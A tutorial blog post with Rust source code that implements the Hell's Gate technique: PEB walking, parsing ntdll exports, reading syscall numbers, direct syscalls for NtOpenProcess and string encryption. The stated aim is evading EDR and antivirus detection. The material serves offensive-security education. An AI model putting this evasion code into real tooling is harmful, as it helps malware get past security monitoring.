Hells Gate Rust - EDR Evasion with syscalls
Offensive Rust Hells Gate technique for EDR evasion: Implementing direct syscalls for better stealth..
Hells Gate in Rust
The project can be found here on my GitHub
Whilst looking for any references to making direct syscalls in Rust (specifically Hells Gate) for EDR evasion I found the community very silent on this subject (in Rust, it’s well documented in C/C++) so I have engineered this project from the ground up - I think I’m the first to blog about this from a Rust point of view which is exciting!
Before continuing, I have made a blog post about direct syscalls (which is half the battle with Hell’s Gate), but in C, and you can find that post here. In this post, we won’t go the full hog of making a whole injector with syscalls, this is to show a proof of concept of making direct syscalls in Rust for EDR evasion. A full project will likely come later when I have a little more time.
In the meantime, why not take the concept of this post and try implement your own?
Important Legal disclaimer applies, by reading on you acknowledge that, see the legal disclaimer here. In short, you must not use the below information for any criminal or unethical purposes, and it should only be used by security professionals, or for those interested in cyber security to deepen your knowledge.
What is it
Hell’s Gate is a technique published by VX Underground devs. The original paper can be found here. Hell’s Gate is a technique that is now a good few years old, which was a solid attempt at EDR Evasion. Fast forward a few years to today, many EDR’s will now combat this technique - nevertheless it is still great to learn from. I’m working on my own EDR Evasion technique called Lucifers Path, which in theory should work against current EDR’s - but more on that in the future.
Whilst Hell’s Gate may still work on some EDR’s, it does work against antivirus such as Windows Defender, and another premium, paid for, AV I have tested this against.
Hel;l’s Gate works in two parts, the first, as stated above I have covered in my blog post on direct syscalls in C. The second part of Hell’s Gate is where it differs from the technique used in that post. In that post we resolve function pointers to ntdll.dll
functions by making use of the Windows API’s GetProcAddress
and LoadLibraryA
- both of which could flag a risk score with AntiVirus or EDR. Hell’s Gate instead resolves the function pointer to the ntdll.dll
functions by accessing the PEB (Process Environment Block) in order to resolve the base address of the module we are interested in (in this case ntdll.dll
); and then parsing this DLL for the Export Address Table and iterating through it looking for the function we wish to get the address of.
This technique tries to bypass EDR hooking, which is used to inspect what a piece of code is doing at runtime. For example, EDR or antivirus software may detect activities such as opening handles to other processes, injecting memory remotely, and adding shellcode. This sequence of events can be easily hooked and monitored via certain Windows DLL APIs. By using Hell’s Gate to avoid these hooks, we can prevent this behavior analysis from happening, thus evading detection by EDR solutions. Modern EDR’s will now account for this technique, by hooking within NTDLL itself, and overwriting the SSN, so we cannot read it.
Background
Whilst I have covered both direct syscalls and raw pointers in Rust in previous posts, I’ll give a quick recap for context in this post. RedOps also covers HellsGate in brilliant detail, written in C.
Syscalls
When coding Windows apps or needing to do specific tasks on the Windows operating system, as programmers we use the Windows API. If you want to see the start of the Windows API coding series I have written, check it out here.
These Windows API calls can range from anything from manipulating files, such as with the CreateFileA, to opening processes with OpenProcess.
When these functions are invoked from ‘userland’, the operating system starts proxying the requests between different libraries, until eventually it reaches the bottom of ‘userland’. Essentially, calling the Windows API via the managed high level function provided by Microsoft (for instance ntdll.dll), proxies your request to kernelbase.dll; which then sets up registers and the stack to make a syscall.
When syscall is called in assembly, a System Service Number is provided (SSN) which the Kernel takes and then performs some functionality according to the SSN. The SSN is loaded into the EAX register.
One thing to note, and what is key in Hells Gate, is that SSN’s change between versions of Windows. Whilst I don’t know the frequency of the changes, if Microsoft wanted, it could be on a build by build basis if they have a reason to do so. An example, the list found on GitHub of ‘reversed SSNs’ is invalid for my particular build of Windows.
When Windows proxies the call from usermode, the value of the syscall can be found in the assembly - again - according to that build of Windows.
Here is a nice visual representation I made of what happens when you call a high level Windows API:
Raw pointers in Rust
We will be using pointers HEAVILY in this project, so if you don’t understand them intimately, a lot of this may be hard to follow.
A very quick recap on using raw pointers in Rust:
*mut T; // mutable raw pointer (modify the data they point to)
*const T; // constant raw pointer
*mut c_void; // mutable pointer to unspecified data, aka void* in C.
Creating the structures
In this example, we are only going to concern ourselves with the OpenProcess function, but the process remains the same when implementing this technique across any Windows API function.
First things first, we need to reconstruct the data structures that the kernel is expecting. So, looking to the documentation provided by the Windows API, we can see that it requires:
__kernel_entry NTSYSCALLAPI NTSTATUS NtOpenProcess(
[out] PHANDLE ProcessHandle,
[in] ACCESS_MASK DesiredAccess,
[in] POBJECT_ATTRIBUTES ObjectAttributes,
[in, optional] PCLIENT_ID ClientId
);
If you want to see how you can find which NTAPI is called by a function, check my other blog post.
Dealing with the parameters 1-by-1:
- PHANDLE - this is a pointer to a HANDLE; luckily for us, the Windows crate defines a handle - so we can use that type.
- ACCESS_MASK - the documentation tells us this is a ulong (unsigned 32 bit integer on Windows). We dont have to worry about implementing this, as this in Rust is a u32.
- POBJECT_ATTRIBUTES - this is a pointer to the OBJECT_ATTRIBUTES structure. The documentation describes this type saying: The OBJECT_ATTRIBUTES structure specifies attributes that can be applied to objects or object handles by routines that create objects and/or return handles to objects. We could implement this ourselves; however the official Windows API for Rust already has this defined. So we don’t need to implement a custom structure for this. In my GitHub source I opted to implement this myself for practice, but you don’t need to.
- PCLIENT_ID - this is a pointer to the CLIENT_ID structure. As it happens, this also is available in the Windows Rust API. However, for the purposes of completeness let’s implement this structure ourselves so you can see how to build it in a way that it can be passed into assembly, and, thus, into the kernel. The CLIENT_ID stores the PID of the process you wish to target with OpenProcess().
I found the CLIENT_ID structure on NirSoft in C, which defines it as:
typedef struct _CLIENT_ID
{
PVOID UniqueProcess;
PVOID UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
Interestingly, the Windows Rust crate defines it as:
pub struct CLIENT_ID {
pub UniqueProcess: HANDLE,
pub UniqueThread: HANDLE,
}
We will go with a PVOID instead of a HANDLE as most undocumented functions of the NTAPI will not use the Windows Rust crate bindings, and instead opt for void pointers, C style types, or unions / other structures.
So, implementing this is as easy as:
#[repr(C)]
#[derive(Debug)]
// https://www.nirsoft.net/kernel_struct/vista/CLIENT_ID.html
struct ClientId {
unique_process: *mut c_void,
unique_thread: *mut c_void,
}
We add the attribute repr©, this tells the compiler to basically copy C’s formatting, so the order, size, alignment are as you would expect as if you had written and compiled it in C. Any type we are passing through the Foreign Function Interface (FFI) should have the repr© attribute. This is similar to FFI functions which have the extern “system” or extern “C” tags.
A great resource, if not the GOAT, is the Process Hacker Native API header project on GitHub. This defines CLIENT_ID as (see here):
typedef struct _CLIENT_ID
{
HANDLE UniqueProcess;
HANDLE UniqueThread;
} CLIENT_ID, *PCLIENT_ID;
So refactoring the Rust code to HANDLEs may be more correct.
MEMORY SAFETY WARNING: Using a *mut c_void in this case is fine, as in memory this will be the same size as a isize (aka 64-bits on a 64-bit machine, 32-bits on a 32-bit machine). In Windows, a HANDLE is a C typedef that resolves to a void pointer, which on a 64-bit machine is 64-bits, and a 32-bit machine, 32-bits. If you were to define a type as a void pointer and allocated something larger than a isize, then you will run into buffer overflows etc - leading to security vulnerabilities. One thing to note, in talking about void pointers, is that a HANDLE is not a pointer to a region of memory, it refers to an index in a lookup table in the kernel. If you are interested in learning more about this, check out eforensicsmag.com blog post on this.
Hells Gate SSN’s
Now, we need a way to dynamically find the SSN’s (syscall numbers) that are used by the NTAPI calls we are making. What we are going to do now, is simply write a function that looks up the SSN from an NTAPI function (in our case, NtOpenProcess
). The SSN is located at bytes position 4 and 5, so we need to read both of those and then perform a bit-shift to get the 32 bit value of the SSN.
For now, we won’t worry about the logic of the function get_function_from_exports
, we will cover that at the end of the blog post as that’s the most complex part of this.
/// Get the SSN of the NTAPI function we wish to call
fn get_ssn(dll: &str, function_name: &str) -> Option<u32> {
// get NTDLL base addr
let addr = match get_function_from_exports(dll, function_name) {
Some(a) => a,
None => panic!("Could not get address of {}", function_name),
};
// read the syscall number from the function's address
// needs casting as *const u8 to allow dereferencing from c_void (no size in a c_void).
// as each byte is 8 bits, we read as a u8 for 1 byte each
let byte4 = unsafe { *(addr as *const u8).add(4) };
let byte5 = unsafe { *(addr as *const u8).add(5) };
// combine the fourth and fifth bytes into a u32 (DWORD)
let nt_function_ssn = ((byte5 as u32) << 8) | (byte4 as u32);
Some(nt_function_ssn)
}
Implementing the assembly
Now we have our types set up, we need to actually write the assembly to the binary to invoke the syscall.
The process in Rust in my opinion is MUCH nicer and more straight forward than in C.
First, we need to define our custom NT function as so:
// https://microsoft.github.io/windows-docs-rs/doc/windows/Win32/System/Threading/fn.OpenProcess.html
/// Make a system call to the equivalent of NtOpenProcess, without having to make an actual API call
fn nt_open_process(
process_handle: *mut HANDLE,
desired_access: u32,
object_attributes: *mut ObjectAttributes,
client_id: *mut ClientId,
ssn: u32,
) -> NTSTATUS {
}
This takes in parameters as according to the NTAPI documentation, and the structures passed in are the structures we created above (or used from the Windows crate). Of note the Windows documentation tells us which parameters are a pointer, for instance PHANDLE is a pointer to a handle, so to reflect this in our code base, we add *** mut HANDLE** etc.
We can use Rust’s inline assembly macro to inline our assembly straight into the function, before we do, it’s important to note that you can only pass simple / raw data types into it - for example the Windows API tells us that OpenProcess returns a type NTSTATUS. NTSTATUS in Rust is represented as a struct; we cannot pass this directly as assembly. As NTSTATUS contains a i32, we can simply pass the raw type of i32 into the assembly, then recast it as required later.
let status: i32; // define as i32 so it can go into the syscall ok
Now to write the inline assembly. The asm!() macro in Rust allows us to write raw assembly and passing in variable data, and reading out other data back into a variable. Let’s look at the code then examine what it does:
unsafe {
asm!(
"mov r10, rcx",
"mov eax, {0:e}", // move the syscall number into EAX
"syscall",
in(reg) ssn, // input: Syscall number goes into EAX
// Order: https://web.archive.org/web/20170222171451/https://msdn.microsoft.com/en-us/library/9z1stfyw.aspx
in("rcx") process_handle, // passed to RCX (first argument)
in("rdx") desired_access, // passed to RDX (second argument)
in("r8") object_attributes, // passed to R8 (third argument)
in("r9") client_id, // passed to R9 (fourth argument)
lateout("rax") status, // output: returned value of the syscall is placed in RAX
options(nostack), // dont modify the stack pointer
);
}
First, if you are confused about why we are doing certain instructions, check out my blog post where you can see the assembly write from ntdll.dll.
mov r10, rcx
- Preserve the data in rcx by moving it into the r10 register.mov eax, {0:e}
- Here we move the syscall number into eax, the notation {0:e} tells rust to use the first positional input argument, and using the eax register format, not rax format."syscall
- Invoke the syscall, calling into the kernel, where the kernel will look in eax for the syscall number.in(reg) ssn
- This is the first input parameter, which will go into {0:e}, and this is the ssn number.- The next 4 will add the respective variables into the correct registers. The Windows conventions tell us the first 4 arguments into a function are stored in rcx, rdx, r8, and r9 respectively. Any other positional arguments are passed on the stack. Although these operands are written after the syscall instruction in the inline assembly, when Rust compiles this code, it will set up the registers with the correct values before the syscall instruction is executed.
lateout("rax") status
- This operand specifies that the value returned by the kernel function (placed in the rax register) should be stored in the status variable. The lateout modifier allows the register allocator to reuse a register previously allocated to an in operand, ensuring efficient use of registers. The result is stored in the status variable, which we defined as an i32.options(nostack)
- This is used so that the assembly does not push any data onto the stack, making sure we dont accidentally modify the stack pointer.
Finally, we can return an NTSTATUS from the function by casting the status variable as an NTSTATUS:
NTSTATUS(status as i32) // cast as NTSTATUS from u32
Hells Gate
Alright, now comes the tricky part.
As stipulated, Hell’s Gate in Malware resolves the function pointer to the function we wish to get the SSN from without using GetProcAddress
and LoadLibraryA
.
So, how do we do it? Take a look at the diagram which follows this list which is hopefully a little easier to digest…
- First we get the address of the
PEB
(Process Environment Block) - Within the
PEB
is a pointer to aPEB_LDR_DATA
structure - Within
PEB_LDR_DATA
is a pointer to InMemoryOrderModuleList InMemoryOrderModuleList
points to aLDR_DATA_TABLE_ENTRY
, but specifically points to aLIST_ENTRY
structure within theLDR_DATA_TABLE_ENTRY
.LDR_DATA_TABLE_ENTRY
is essentially a doubly linked list.- The
LIST_ENTRY
structure contains more pointers:Flink
points to the nextLIST_ENTRY
within a LDR_DATA_TABLE_ENTRYBlink
points to the previousLIST_ENTRY
within a LDR_DATA_TABLE_ENTRY
- Within each
LDR_DATA_TABLE_ENTRY
, there is a pointer to theDLLBase
, the base address (virtual address) of the module theLDR_DATA_TABLE_ENTRY
relates to. - We take that virtual address, which will contain a DLL mapped to memory, to then parse the
PE
(Portable Executable) headers - We search for the
DataDirectory
within theOptionalHeader
of thePE
- Within the
DataDirectory
, at index 0, is theRVA
(Relative Virtual Address) of theExport Address Table
(relative to theDLLBase
) - The
Export Address Table
contains all of the functions the DLL exports; this is what we iterate through to find our function (such asNtOpenProcess
) - Finally, we can get the ordinal number, and use it to obtain a pointer to the address where that exported function resides.
See, I told you pointers are going to be important here!
By following these steps, malware can locate and use functions without relying on standard Windows API calls that might be monitored or restricted.
A visual representation of Hell’s Gate:
PEB
The PEB is a structure which runs in every process which is essentially the usermode representation of the process information. On x64 this can be found at an offset from the TEB, which is always found in the gs register at gs:0x60
. We can use some inline assembly in Rust to dereference this memory location, which gives us our pointer to the PEB.
Whilst we are at it, we can also get to the InMemoryOrderModuleList
with our assembly snippet, as they all logically follow on from each other, with no complex assembly required.
// get the peb and module list
asm!(
"mov {peb}, gs:[0x60]",
"mov {ldr}, [{peb} + 0x18]",
"mov {in_memory_order_module_list}, [{ldr} + 0x10]", // points to the Flink
peb = out(reg) peb,
ldr = out(reg) ldr,
in_memory_order_module_list = out(reg) in_memory_order_module_list,
);
Doing it this way was a bit of a design decision by me out of frustration. The Rust Windows API provides the PEB
structure, as found here. No matter how hard I tried, I couldn’t get the base address within the LDR_DATA_TABLE_ENTRY to resolve correctly. Oddly the structure was fully correct - except for the DLL base. When in doubt, deal with raw pointers and manual memory management. Using raw pointers, manual memory management and dereferencing was the path I ended up taking, and it worked a treat.
I won’t go into war and peace about how to do each step of the process of obtaining the DllBase, as I think my code does a good job of explaining it, and you can follow from the diagram above. Here is the full function to get the DLL base address of a specified input module name:
/// Get the base address of a specified module. Obtains the base address by reading from the TEB -> PEB ->
/// PEB_LDR_DATA -> InMemoryOrderModuleList -> InMemoryOrderLinks -> DllBase
///
/// Returns the DLL base address as a Option<usize>
#[allow(unused_variables)]
#[allow(unused_assignments)]
fn get_module_base(module_name: &str) -> Option<usize> {
let mut peb: usize;
let mut ldr: usize;
let mut in_memory_order_module_list: usize;
let mut current_entry: usize;
unsafe {
// get the peb and module list
asm!(
"mov {peb}, gs:[0x60]",
"mov {ldr}, [{peb} + 0x18]",
"mov {in_memory_order_module_list}, [{ldr} + 0x10]", // points to the Flink
peb = out(reg) peb,
ldr = out(reg) ldr,
in_memory_order_module_list = out(reg) in_memory_order_module_list,
);
println!("[+] Found the PEB and the InMemoryOrderModuleList at: {:p}", in_memory_order_module_list as *const c_void);
println!("[i] Iterating through modules loaded into the process, searching for {}", module_name);
// set the current entry to the head of the list
current_entry = in_memory_order_module_list;
// iterate the modules searching for
loop {
// get the attributes we are after of the current entry
let dll_base = *(current_entry.add(0x30) as *const usize);
let module_name_address = *(current_entry.add(0x60) as *const usize);
let module_length = *(current_entry.add(0x58) as *const u16);
// check if the module name address is valid and not zero
if module_name_address != 0 && module_length > 0 {
// read the module name from memory
let dll_name_slice = from_raw_parts(module_name_address as *const u16, (module_length / 2) as usize);
let dll_name = OsString::from_wide(dll_name_slice);
println!("[i] Found module: {:?}", dll_name);
// do we have a match on the module name?
if dll_name.to_string_lossy().eq_ignore_ascii_case(module_name) {
println!("[+] {:?} base address found: {:p}", dll_name, dll_base as *const c_void);
return Some(dll_base);
}
} else {
println!("Invalid module name address or length.");
}
// dereference current_entry which contains the value of the next LDR_DATA_TABLE_ENTRY (specifically a pointer to LIST_ENTRY
// within the next LDR_DATA_TABLE_ENTRY)
current_entry = *(current_entry as *const usize);
// If we have looped back to the start, break
if current_entry == in_memory_order_module_list {
println!("Looped back to the start.");
return None;
}
}
}
}
Getting the function pointer
Finally, we need to get the function pointer of the NTAPI function we wish to get the SSN for (in our case, NtOpenProcess
).
Now we know the base address (as a virtual address, not a relative virtual address) of the DLL we are parsing, we need to check first of all that the module has the DOS header and NT headers - if it doesn’t, we are not in the right area of memory and we made a blunder!
Once we have checked those are valid, we can work our way (as described above) to the Export Address Table. This is a structure which exists within a PE when they export functions for other programs to use. We search through the EAT for the function name we are looking for (which is case-sensitive), and then we return a function pointer out of our function to where that function exists in our process - which the gets_ssn
function can then use to resolve the SSN.
Again, I won’t go through each line of code. Getting the right pointer types took a little bit of fiddling, I’d recommend trying to implement this yourself rather than just copying and pasting, as it will teach you a lot about handling pointers in Rust! It was really fun! I will say though, it was a little annoying having to cast most of my pointers correctly… I suppose this is the price we pay in Rust for safe code!
/// Get the function address of a function in a specified DLL from the DLL Base.
///
/// # Parameters
/// * dll_name -> the name of the DLL / module you are wanting to query
/// * needle -> the function name (case sensitive) of the function you are looking for
///
/// # Returns
/// Option<*const c_void> -> the function address as a pointer
fn get_function_from_exports(dll_name: &str, needle: &str) -> Option<*const c_void> {
// get the dll base address
let dll_base = match get_module_base(dll_name) {
Some(a) => a,
None => panic!("Unable to get address"),
} as *mut c_void;
// check we match the DOS header, cast as pointer to tell the compiler to treat the memory
// address as if it were a IMAGE_DOS_HEADER structure
let dos_header: IMAGE_DOS_HEADER = unsafe { read_memory(dll_base as *const IMAGE_DOS_HEADER) };
if dos_header.e_magic != IMAGE_DOS_SIGNATURE {
panic!("[-] DOS header not matched from base address: {:p}.", dll_base);
}
println!("[+] DOS header matched");
// check the NT headers
let nt_headers = unsafe { read_memory(dll_base.offset(dos_header.e_lfanew as isize) as *const IMAGE_NT_HEADERS64) };
if nt_headers.Signature != IMAGE_NT_SIGNATURE {
panic!("[-] NT headers do not match signature with from dll base: {:p}.", dll_base);
}
println!("[+] NT headers matched");
// get the export directory
// https://learn.microsoft.com/en-us/windows/win32/api/winnt/ns-winnt-image_data_directory
// found from first item in the DataDirectory; then we take the structure in memory at dll_base + RVA
let export_dir_rva = nt_headers.OptionalHeader.DataDirectory[0].VirtualAddress;
let export_offset = unsafe {dll_base.add(export_dir_rva as usize) };
let export_dir: IMAGE_EXPORT_DIRECTORY = unsafe { read_memory(export_offset as *const IMAGE_EXPORT_DIRECTORY) };
// get the addresses we need
let address_of_functions_rva = export_dir.AddressOfFunctions as usize;
let address_of_names_rva = export_dir.AddressOfNames as usize;
let ordinals_rva = export_dir.AddressOfNameOrdinals as usize;
let functions = unsafe { dll_base.add(address_of_functions_rva as usize) } as *const u32;
let names = unsafe { dll_base.add(address_of_names_rva as usize) } as *const u32;
let ordinals = unsafe { dll_base.add(ordinals_rva as usize) } as *const u16;
// get the amount of names to iterate over
let number_of_names = export_dir.NumberOfNames;
for i in 0..number_of_names {
// calculate the RVA of the function name
let name_rva = unsafe { *names.offset(i.try_into().unwrap()) as usize };
// actual memory address of the function name
let name_addr = unsafe { dll_base.add(name_rva) };
// read the function name
let function_name = unsafe {
let char = name_addr as *const u8;
let mut len = 0;
// iterate over the memory until a null terminator is found
while *char.add(len) != 0 {
len += 1;
}
std::slice::from_raw_parts(char, len)
};
let function_name = std::str::from_utf8(function_name).unwrap_or("Invalid UTF-8");
// if we have a match on our function name
if function_name.eq(needle) {
println!("[+] Function name found: {}", needle);
// calculate the RVA of the function address
let ordinal = unsafe { *ordinals.offset(i.try_into().unwrap()) as usize };
let fn_rva = unsafe { *functions.offset(ordinal as isize) as usize };
// actual memory address of the function address
let fn_addr = unsafe { dll_base.add(fn_rva) } as *const c_void;
println!("[i] Function address: {:p}", fn_addr);
return Some(fn_addr);
}
}
None
}
Bringing it together
It’s felt like a real slog to get to this point - but lo, our hard work has paid off! Now we can implement the main()
function! One final thing to note, I am using a string encryption library I built, you can check it out here. This encrypts strings at compile time, decrypting them at runtime, so strings such as NtOpenProcess
don’t exist in our final binary (when building in release mode, they will still be present in some capacity in debug mode as symbols aren’t stripped in debug mode). You can see the string encryption by use of the sc!()
macro.
fn main() {
// top-level exception filter to catch any exceptions
// https://learn.microsoft.com/en-us/windows/win32/api/errhandlingapi/nf-errhandlingapi-setunhandledexceptionfilter
unsafe {
SetUnhandledExceptionFilter(Some(exception_filter));
}
// get pid from first positional argument
let pid = cli_pid();
// NtOpenProcess as an encrypted &str
let nt = match sc!("NtOpenProcess", 20) {
Ok(s) => s,
Err(e) => panic!("Error converting string: {e}"),
};
let nt_open_proc_str = nt.as_str();
// ntdll.dll as an encrypted string
let ntdll = match sc!("ntdll.dll", 20) {
Ok(s) => s,
Err(e) => panic!("Error converting string: {e}"),
};
let ntdll: &str = ntdll.as_str();
// get the SSN via the Hell's Gate technique
let ssn = get_ssn(ntdll, nt_open_proc_str);
let ssn = match ssn {
None => panic!("[-] Unable to get SSN"),
Some(s) => {
println!("[+] Got SSN: {}", s);
s
}
};
let mut process_handle: HANDLE = HANDLE(0); // process handle result of NtOpenProcess
let desired_access = PROCESS_ALL_ACCESS; // all access
// set as defaults
let mut object_attributes: ObjectAttributes = ObjectAttributes {
length: size_of::<ObjectAttributes>() as u32,
root_directory: HANDLE(0),
object_name: null_mut(),
attributes: 0,
security_descriptor: null_mut(),
security_quality_of_service: null_mut(),
};
// client_id required by https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/nf-ntddk-ntopenprocess
let mut client_id = ClientId {
unique_process: pid as *mut c_void, // pid
unique_thread: null_mut(),
};
// make the call into NtOpenProcess
let status = nt_open_process(
&mut process_handle, // will return the process handle
desired_access.0, // u32
&mut object_attributes,
&mut client_id, // contains the pid
ssn, // syscall number
);
if status.0 == 0 {
println!("[+] Successfully opened process. Handle: {:?}", process_handle);
} else {
println!("[-] Failed to open process. NTSTATUS: {:#x}", status.0);
}
}
Proof
Finally, we want to prove that OpenProcess
is no longer listed as an import for the binary. This reduces the detectability by EDR, making it harder to identify potentially malicious activities and preventing EDR hooking.
On the left side of the image below, we make a call to OpenProcess
via the normal Windows API like so:
let res = unsafe {
OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid)
};
if res.is_ok() {
println!("[+] Handle obtained, value: {:?}", res.unwrap());
} else {
println!("[-] Unable to get handle. Error: {:?}", res)
}
On the right side of the image, we use our Hell’s Gate technique.
As you can see, there is now absolutely no reference to calling OpenProcess
in the binary. If this were to be scanned by EDR or antivirus, it would not detect that we are opening and modifying other processes. Furthermore, EDR will not be able to hook into this to examine what we are doing.
gg :)
Thanks
If you have any questions, or content suggestions, please reach out to me on Twitter!